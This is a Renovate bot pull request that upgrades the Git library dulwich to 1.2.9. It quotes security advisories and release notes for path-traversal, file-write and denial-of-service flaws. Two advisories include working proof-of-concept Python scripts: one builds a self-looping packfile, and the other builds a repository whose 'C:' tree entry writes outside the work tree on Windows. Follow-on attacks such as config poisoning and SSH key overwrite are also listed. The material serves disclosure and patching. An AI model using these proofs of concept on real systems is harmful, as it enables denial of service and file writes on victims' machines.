Skip to content

Update dependency dulwich to v1 [SECURITY] - #282

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-dulwich-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-dulwich-vulnerability

Conversation

@renovate

@renovate renovate Bot commented May 28, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
dulwich ==0.22.1 → ==1.2.9 age confidence

Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows

CVE-2026-42305 / GHSA-897w-fcg9-f6xj

More information

Details

Impact

Arbitrary file write leading to remote code execution when cloning or checking out a malicious Git repository on Windows.

Dulwich's path-element validator accepted tree entries whose filenames contained bytes that Windows interprets as structural path syntax:

  • \ — the Windows path separator. A single tree entry named .git\hooks\pre-commit.exe was treated as one valid filename on POSIX but materialized as nested directories .git/hooks/pre-commit.exe on Windows, planting a file inside the victim's .git directory. Git for Windows then
    executes that hook on the next git commit, giving the attacker arbitrary code execution in the victim's user context. The same primitive can be used with ..\outside.txt to escape the work tree.
  • : — the NTFS alternate-data-stream marker. .git::$INDEX_ALLOCATION writes directly into the victim's .git entity, bypassing the .git-as-a-directory check.
  • git~ — NTFS 8.3 short-name aliases of .git. Only the literal git1 was rejected; git2, git10, GIT1, etc. were all accepted.

Contributing configuration bugs made matters worse. The core.protectNTFS and core.protectHFS settings were looked up under a wrong option name and so user-set values were silently ignored, and core.protectNTFS only defaulted to true on Windows (Git upstream has defaulted it to true everywhere since CVE-2019-1353). Both have been corrected.

Anyone who clones, fetches, or checks out an untrusted repository with Dulwich on Windows - either through the Dulwich CLI, porcelain.clone, or any downstream tool built on Dulwich - is impacted. POSIX clones are not directly exploitable (on POSIX \ is a literal filename byte), but a POSIX user can unknowingly propagate a malicious tree to Windows consumers via push or re-publication.

Patches

Fixed in Dulwich 1.2.5. Users should upgrade to 1.2.5 or later.

The fix lives in three commits:

  • Read core.protectNTFS / core.protectHFS under their documented option names so user-set values are honored.
  • Default core.protectNTFS to true on every platform, matching Git's PROTECT_NTFS_DEFAULT=1.
  • Reject , :, and all git~ 8.3 short-name forms in validate_path_element_ntfs.
Workarounds

There is no effective pre-patch workaround. On affected versions the core.protectNTFS configuration key was silently ignored, so setting it to true does not mitigate the issue. Users who cannot upgrade should avoid cloning, fetching, or checking out untrusted repositories with Dulwich on Windows. After upgrading the NTFS validator is on by default on every platform, so no additional configuration is required.

Resources
  • Git upstream path validation: https://github.com/git/git/blob/master/path.c (is_ntfs_dotgit, verify_path)
  • CVE-2019-1353 — the Git upstream vulnerability that established core.protectNTFS = true as the cross-platform default
  • CVE-2019-1354 — backslash-in-tree-path class in Git, analogous to this issue

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich has unbounded memory allocation in receive-pack from crafted thin packs

CVE-2026-47734 / GHSA-xrvj-v92f-53gj

More information

Details

Impact

An uncontrolled-resource-consumption (memory exhaustion) denial-of-service vulnerability (CWE-400 / CWE-789).

A client with push access could push a tiny crafted thin pack (~174 bytes) whose delta header declares a huge dest_size. When dulwich ingested it via add_thin_pack / apply_delta, it would allocate hundreds of MB of memory based on that attacker-controlled size, with no relationship to the actual bytes received.

Who is impacted: Operators running a Dulwich-based Git server that exposes git-receive-pack (i.e. accepts pushes) -
for example via dulwich.server functionality, the HTTP smart server, or anything built on ReceivePackHandler.

Patches

Patched in 1.2.5.

add_thin_pack now accepts a max_input_size keyword (bytes; 0/None = unlimited, matching git's semantics), and ReceivePackHandler reads receive.maxInputSize from the repository config and passes it through. Wire reads are counted and a PackInputTooLarge exception is raised once the cap is exceeded - equivalent to git index-pack --max-input-size.

Users should upgrade to Dulwich 1.2.5 or later and set receive.maxInputSize in their server's repository config to a sane bound for their environment.

Workarounds

On unpatched versions, receive.maxInputSize has no effect, so it cannot be used as a workaround. Until upgrading, operators should:

  • Restrict dulwich-receive-pack (push) access to trusted, authenticated clients only, or disable it entirely on servers that only need to serve fetches.
  • Run the server under an OS-level memory limit (e.g. ulimit, cgroups/MemoryMax, or a container memory limit) so a malicious push is killed rather than taking down the host.
Resources
  • git's receive.maxInputSize / git index-pack --max-input-size documentation
  • Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @​ University of Sydney

Severity

  • CVSS Score: 5.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

GHSA-35mr-4567-66vg

More information

Details

Affected file
  • dulwich/pack.py (Method: Pack.resolve_object)
Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

Vulnerable Code Breakdown (dulwich/pack.py):

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion
Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.
POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

##### Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

##### Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]
Possible solution
  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
    if delta_offset == 0:
        raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
  2. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths

GHSA-8mcx-5rqc-vhmf

More information

Details

Affected files
  • dulwich/index.py (Methods: validate_path_element_ntfs, _tree_to_fs_path)
  • dulwich/porcelain/__init__.py (Method: _checked_worktree_path)
Description / Summary

A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.

A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").

On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.

While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.

Potential impact

This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.

Attack vectors include:

  1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
  2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
  3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
  4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
Proof of Concept (PoC)

The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.

from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile

repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)

##### 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)

##### 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree();   evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir  = Tree(); users_dir[b"Users"]   = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)

##### VULNERABILITY: The "C:" directory bypasses validation
c_drive    = Tree(); c_drive[b"C:"]        = (0o040000, users_dir.id)
repo.object_store.add_object(c_drive)

commit = Commit()
commit.tree = c_drive.id
commit.message = b"add feature"
commit.author = commit.committer = b"attacker <a@evil.example>"
commit.author_time = commit.commit_time = 1700000000
commit.author_timezone = commit.committer_timezone = 0
repo.object_store.add_object(commit)
repo.refs[b"refs/heads/main"] = commit.id

print(f"Malicious repo created at {repo_path}")
print(f"Clone with: dulwich clone {repo_path} /target/win/worktree")

##### Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

dulwich/dulwich (dulwich)

v1.2.9

Compare Source

Highlights of this release:

Security fixes

  • Reject checkout paths whose leading component is a DOS drive-letter prefix on Windows (e.g. C:), which os.path.join would otherwise treat as absolute and let a crafted tree write outside the work tree. (reported by Luke Baton)
  • Bound zlib decompression of pack entries and loose objects against decompression-bomb DoS. read_zlib_chunks now caps the inflated size at the declared decomp_len, and loose-object parsing accepts max_size defaulting to git's core.bigFileThreshold (512 MiB). (reported by Luke Bento)
  • Reject OFS_DELTA pack entries whose delta_base_offset is zero. Such an entry references itself, so Pack.resolve_object would loop forever growing its delta stack until OOM. (reported by Luke Banto)
  • Bound Transfer-Encoding: chunked request bodies in dulwich.web: strip chunk extensions, reject negative sizes, enforce per-chunk and per-request size limits, and cap requests that omit Content-Length.
  • Bound the running length when decoding EWAH bitmaps so a corrupt or malformed .bitmap index raises ValueError instead of hanging in an unbounded loop that exhausts memory.

Other changes

  • web: Reject smart HTTP git-upload-pack / git-receive-pack POSTs whose Content-Type is not the exact application/x-<service>-request value, matching git http-backend.
  • dulwich.web: Warn at startup that running python3 -m dulwich.web is not intended as a production web server (no authentication, etc.).

See NEWS for the full list.

v1.2.8

Compare Source

Security

  • GHSA-8w8g-wq8h-fq33: Write files through build_file_from_blob in path-restricted porcelain.checkout(paths=...) instead of a raw os.open. The old path followed a symlink left at the target, so a crafted repository could write attacker content outside the work tree (e.g. into .git/hooks) on checkout.
  • GHSA-5fqc-mrg8-w798: Build the temporary index for filter-branch --index-filter in memory instead of materializing tree entries into CWD. Persisted entries between commits let a symlink from an ancestor commit redirect a descendant's writes outside the work tree.
  • Refuse to write a stash entry through an intermediate symlink on stash.pop. The old os.path.exists check followed symlinks, so a crafted stash whose parent path was a symlink already present in the worktree (e.g. link -> .git/hooks) let the subsequent write land outside the work tree.
  • Refuse path-restricted porcelain.checkout, restore and reset_file writes whose leading directory is an existing symlink, so a crafted repository can no longer land sub as a link to .git/hooks and have a write to sub/anything traverse it.
  • Canonicalize file modes to 0o644/0o755 before chmod on checkout and patch apply, matching git. An untrusted tree entry or patch `new file mode` could otherwise set setuid/setgid/sticky or world-writable bits on a materialized file.
  • Reject non-hex pkt-line length prefixes in the protocol parser. int(sizestr, 16) accepted a leading -, whose negative length made the following `read(size - 4)` slurp the rest of the stream and caused `PktLineParser` to loop without consuming its buffer. (#​2267)
  • Escape the repository path passed to the remote in the SSH client, so a path containing a single quote can no longer close the quoting and have the remainder interpreted by the remote shell. (#​2254)
  • Reject an option-like host in TCPGitClient before invoking the core.gitProxy command, matching the SubprocessSSHVendor guard, so a URL like `git://-oProxyCommand=...` can no longer be interpreted as a flag by the proxy program. (#​2240)
  • Validate object ids in the object store and refs container. An id containing path separators would previously be joined into a filename by `DiskObjectStore._get_shafile_path` (escaping the objects directory) or stored as a ref value. (#​2256)
  • Validate the object id in LFS server request handlers before it reaches the store, so a request path containing .. cannot escape the LFS directory. (#​2255)
  • Don't expand config include/includeIf directives when parsing bundle lists served by an untrusted bundle-uri host, matching the handling of `.gitmodules`. (#​2243)
  • Read the signing key from gpg's --status-fd (VALIDSIG) in `GPGCliSignatureVendor.verify` instead of the human-readable stderr text, which could be spoofed by embedding a matching line in the signed payload. (#​2245)
  • Raise UntrustedSignature from verify_commit/verify_tag when keyids is set and the object carries no signature, instead of silently accepting it. (#​2238)
  • Fix quadratic backtracking in _find_scissors_line so a crafted patch can no longer stall mailinfo/git am --scissors. (#​2239)
  • Collapse consecutive * wildcards to at most ** in .gitattributes, .gitignore and config glob translation to avoid catastrophic backtracking (ReDoS). (#​2237)
  • Fix quadratic buffering in web.ChunkReader.read. (#​2262)
  • Skip invalid tree paths (containing .., .git, etc.) in `diff_working_tree_to_tree` instead of joining them onto the work tree; a working-tree diff against an untrusted commit could otherwise read a file outside the work tree and disclose its contents. (#​2261)
  • Fix quadratic header accumulation in ShaFile._parse_message. (#​2273)

Fixes

  • Enumerate the objects to push before the HTTP git-receive-pack request body starts streaming. `generate_pack_data` previously ran lazily inside the body generator, after the header pkt-lines were already on the wire, so on large repositories the request stalled mid-body while objects were counted and servers such as GitHub aborted the push with a timeout / broken pipe. (#​2248)
  • Replace a symlink left at the target path with a fresh regular file in build_file_from_blob instead of writing through it, matching git on checkout. (#​2259)
  • Raise GitProtocolError carrying the server's message when the fetch/send-pack tail loop sees a fatal side-band channel (\x03), instead of crashing with `AssertionError: Invalid sideband channel 3` and swallowing the server's error text.
  • Use ThreadingHTTPServer and advertise HTTP/1.1 in lfs_server so urllib3's keep-alive pool doesn't race a torn-down connection into RemoteDisconnected.

Other

  • Support http.postBuffer. (#​2248)
  • Support pyo3 0.29.
  • Deprecate dulwich.objects.filename_to_hex, which is unused.

v1.2.7: 1.2.7

Compare Source

Security

  • Don't expand config include directives when parsing .gitmodules, so a crafted .gitmodules in a cloned repository can no longer make clone --recurse-submodules read arbitrary files.
  • Validate ref names before resolving them to a path, so a client-supplied name like ../../secret can no longer read a file outside the ref store. Closes a traversal via git-upload-archive's argument and other lookup paths. (#​2212)
  • Reject pack names containing path separators in the dumb HTTP transport, so a malicious server can no longer escape the temporary directory. (#​2213)
  • Verify that an object retrieved by id actually hashes to the requested id, raising ChecksumMismatch otherwise. (#​2223)

New features

  • Add porcelain.request_pull and a dulwich request-pull command, like git request-pull. (#​1823)
  • Add porcelain.range_diff and a dulwich range-diff command, like git range-diff (requires the dulwich[range_diff] extra). (#​1828)

Fixes

  • Check out files whose names contain a colon or backslash on NTFS, instead of silently dropping them on clone, and abort the checkout on a genuinely invalid path. (#​2205)
  • Fix apply_patch writing index entries with mode 0, which made native git abort. (#​2218)
  • Fix deepening of a local shallow fetch not transferring newly-uncovered commits.
  • Several gc/repack fixes on Windows (read-only pack files, leaked temporary packs, files-in-use).
  • Discover and serve packs with non-pack- names such as loose-<hash> (written by git maintenance). (#​2229)

See NEWS for the full changelog.

v1.2.6

Compare Source

v1.2.5: 1.2.5

Compare Source

This is a security release. All users are encouraged to upgrade.

Security fixes

  • GHSA-gfhv-vqv2-4544 -- Validate submodule paths in porcelain.submodule_update (and thus porcelain.clone(recurse_submodules=True)). A crafted upstream repository could carry a submodule whose path was .git/hooks (or any other path inside .git or above the work tree), causing the submodule's tree contents to be written there with their executable bits intact. The dulwich analogue of git's CVE-2024-32002 / CVE-2024-32004. (Reported by tonghuaroot)

  • CVE-2026-42305 -- Harden tree path validation against entry names that are harmless on POSIX but dangerous when checked out on Windows. validate_path_element_ntfs now also rejects Windows path separators, the alternate data stream marker :, NTFS 8.3 short-name aliases of .git, and reserved Windows device names. core.protectNTFS now defaults to true on every platform, and both core.protectNTFS and core.protectHFS are now read under their correct option names. (Reported by Christopher Toth)

  • CVE-2026-42563 -- Shell-quote values substituted into ProcessMergeDriver commands. A malicious branch could inject shell commands when a merge driver referencing %P was configured. (Reported by Ravishanker Kusuma (hayageek))

  • CVE-2026-47712 -- Sanitize commit subjects used in porcelain.format_patch filenames so a malicious subject (e.g. x/../../x) cannot direct the generated patch outside outdir. (Reported by Christopher Toth)

  • receive.maxInputSize -- Honour receive.maxInputSize in ReceivePackHandler. Previously a remote unauthenticated client could send a tiny crafted pack that declared a huge dest_size and trigger hundreds of MB of allocation over git-receive-pack. (Reported by Liyi, Ziyue, Strick, Maurice and Chenchen @​ University of Sydney)

v1.2.4: 1.2.4

Compare Source

What's Changed

Full Changelog: jelmer/dulwich@dulwich-1.2.3...dulwich-1.2.4

v1.2.3

Compare Source

v1.2.2

Compare Source

v1.2.1: 1.2.1

Compare Source

Changes since 1.2.0

  • Derive the LFS endpoint as the remote's on-disk LFS store
    (<remote>/.git/lfs for worktrees, <remote>/lfs for bare repos)
    when remote.origin.url points at a local filesystem path or
    file:// URL, matching git-lfs behaviour. Previously the built-in
    smudge filter constructed an HTTP-style <remote>.git/info/lfs path
    that did not exist on disk, leaving LFS-tracked files as pointers
    when cloning from a local repo.

  • Deduplicate objects when writing a multi-pack-index. Objects present
    in multiple packs (e.g. after git gc creates a cruft pack) would
    otherwise produce an OIDL chunk with repeated SHAs, causing
    git multi-pack-index verify to fail with "oid lookup out of order".
    (#​2152)

  • Extend ignorecase and precomposeunicode support to index lookups.
    (#​1807)

v1.2.0: 1.2.0

Compare Source

Notable changes since 1.1.0
New features
  • Add am command and porcelain.am() for applying mailbox-style email patches (git am), with state persistence for --continue, --skip, --abort, and --quit recovery (#​1692).
  • Add apply command and porcelain.apply_patch() for applying unified diffs, including rename/copy detection, binary patches with Git's base85 encoding, and --3way merge fallback (#​1784).
  • Expand log command options: --oneline, --abbrev-commit, --author, --committer, --grep, --since/--after, --until/--before, -n/--max-count, --no-merges, --merges, --stat, -p/--patch, --name-only, and --follow (#​1779).
  • Add support for push options (-o/--push-option) in push, enabling AGit flow and other server-side push option workflows.
  • Add missing push options: --all, --tags, --delete, --dry-run, --prune, --set-upstream, --follow-tags, and --mirror (#​1844).
  • Add support for atomic push operations (--atomic): either all ref updates succeed or none are applied (#​1781).
  • Add support for extensions.relativeworktrees repository extension, allowing worktrees to use relative paths (#​2112).
Configuration support
  • gc.pruneExpire — grace period before unreachable objects are pruned (#​1859).
  • core.precomposeunicode — normalize NFD Unicode paths from macOS filesystems to NFC (#​1804).
  • core.gitProxy — proxy command for git:// protocol connections (#​1850).
  • core.maxStat — limit stat operations when checking for unstaged changes (#​1853).
  • core.packedGitLimit — cap memory used for mmapped pack files, closing LRU packs when exceeded (#​1848).
  • core.deltaBaseCacheLimit — cap memory used for caching delta base objects; defaults to 96 MiB (#​1849).
  • http.userAgent — customize the User-Agent header (global and URL-specific); default is git/dulwich/{version}.
Fixes
  • Fix GPG signature verification to raise BadSignature for all GPG errors, not just BadSignatures; also detect when GPG returns no signatures.
  • Fix client incorrectly sending unborn argument in Git protocol v2 ls-refs requests to servers that don't advertise ls-refs=unborn, preventing clones from older servers like Gerrit 3.12.2 (#​2104).
  • Improve error message in read_info_refs() to show the actual line content when parsing fails (#​2103).
  • Preserve quoted trailing whitespace in config values (#​2145, Christopher Toth).
  • Fix .gitignore parent re-include handling so a later !dir/ re-include allows a subsequent file-level negation to take effect (#​2141, N0zoM1z0).
  • Fix host key verification in contrib/paramiko_vendor.py by loading known hosts and rejecting unknown SSH host keys by default (#​2123, quart27219).
Packaging
  • No longer ship contrib/ as part of the distribution. The contrib/ directory has always been documented as unsupported and is now excluded from the installed package (#​2122).

v1.1.0: 1.1.0

Compare Source

What's Changed

New Contributors

Full Changelog: jelmer/dulwich@dulwich-1.0.0...dulwich-1.1.0

v1.0.0: 1.0.0

Compare Source

What's Changed

Full Changelog: jelmer/dulwich@dulwich-0.25.2...dulwich-1.0.0

v0.25.2: dulwich-0.25.1

Compare Source

What's Changed

Full Changelog: jelmer/dulwich@dulwich-0.25.1...dulwich-0.25.2

v0.25.1

Compare Source

Full Changelog: jelmer/dulwich@dulwich-0.25.0...dulwich-0.25.1

v0.25.0: v0.25.0

Compare Source

What's Changed

New Contributors

Full Changelog: jelmer/dulwich@dulwich-0.24.10...dulwich-0.25.0

v0.24.10: 0.24.10

Compare Source

Full Changelog: jelmer/dulwich@dulwich-0.24.9...dulwich-0.24.10

v0.24.9

Compare Source

  • Fix passing key_filename and ssh_command parameters to SSHGitClient by @​skshetry

  • Relax check to support subclasses of Urllib3HttpGitClient. Fixes
    regression from 0.24.2 where subclasses of Urllib3HttpGitClient would
    not receive the config object. by @​skshetry

  • Fix test_concurrent_ref_operations_compatibility test flakiness by @​jelmer

  • Fix warnings in test suite by @​jelmer

Full Changelog: jelmer/dulwich@dulwich-0.24.8...dulwich-0.24.9

v0.24.8

Compare Source

What's Changed

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label May 28, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] Update dependency dulwich to v1 [SECURITY] - autoclosed Oct 3, 2026
@renovate renovate Bot closed this Oct 3, 2026
@renovate
renovate Bot deleted the renovate/pypi-dulwich-vulnerability branch October 3, 2026 13:59
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] - autoclosed Update dependency dulwich to v1 [SECURITY] Oct 3, 2026
@renovate renovate Bot reopened this Oct 3, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch 2 times, most recently from c834297 to 044c2a2 Compare October 10, 2026 00:37
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] Update dependency dulwich to v1 [SECURITY] - autoclosed Oct 22, 2026
@renovate renovate Bot closed this Oct 22, 2026
@github-project-automation github-project-automation Bot moved this from Doing to Done in boilerdata Oct 22, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] - autoclosed Update dependency dulwich to v1 [SECURITY] Oct 22, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 3ed311f to 044c2a2 Compare October 22, 2026 21:12
@renovate renovate Bot reopened this Oct 22, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 044c2a2 to 3ed311f Compare October 22, 2026 21:12
@github-project-automation github-project-automation Bot moved this from Done to Doing in boilerdata Oct 22, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] Update dependency dulwich to v1 [SECURITY] - autoclosed Oct 25, 2026
@renovate renovate Bot closed this Oct 25, 2026
@github-project-automation github-project-automation Bot moved this from Doing to Done in boilerdata Oct 25, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] - autoclosed Update dependency dulwich to v1 [SECURITY] Oct 25, 2026
@renovate renovate Bot reopened this Oct 25, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from cd71e31 to 3ed311f Compare October 25, 2026 04:47
@github-project-automation github-project-automation Bot moved this from Done to Doing in boilerdata Oct 25, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 3ed311f to cd71e31 Compare October 25, 2026 04:47
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] Update dependency dulwich to v1 [SECURITY] - autoclosed Oct 26, 2026
@renovate renovate Bot closed this Oct 26, 2026
@github-project-automation github-project-automation Bot moved this from Doing to Done in boilerdata Oct 26, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] - autoclosed Update dependency dulwich to v1 [SECURITY] Oct 26, 2026
@renovate renovate Bot reopened this Oct 26, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from cd71e31 to 5b2e2ef Compare October 26, 2026 06:27
@github-project-automation github-project-automation Bot moved this from Done to Doing in boilerdata Oct 26, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] Update dependency dulwich to v1 [SECURITY] - autoclosed Oct 28, 2026
@renovate renovate Bot closed this Oct 28, 2026
@github-project-automation github-project-automation Bot moved this from Doing to Done in boilerdata Oct 28, 2026
@renovate renovate Bot changed the title Update dependency dulwich to v1 [SECURITY] - autoclosed Update dependency dulwich to v1 [SECURITY] Oct 28, 2026
@renovate renovate Bot reopened this Oct 28, 2026
@github-project-automation github-project-automation Bot moved this from Done to Doing in boilerdata Oct 28, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-dulwich-vulnerability branch from 5b2e2ef to 04c1481 Compare October 28, 2026 16:04

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file

Projects

Status: Doing

Development

Successfully merging this pull request may close these issues.

0 participants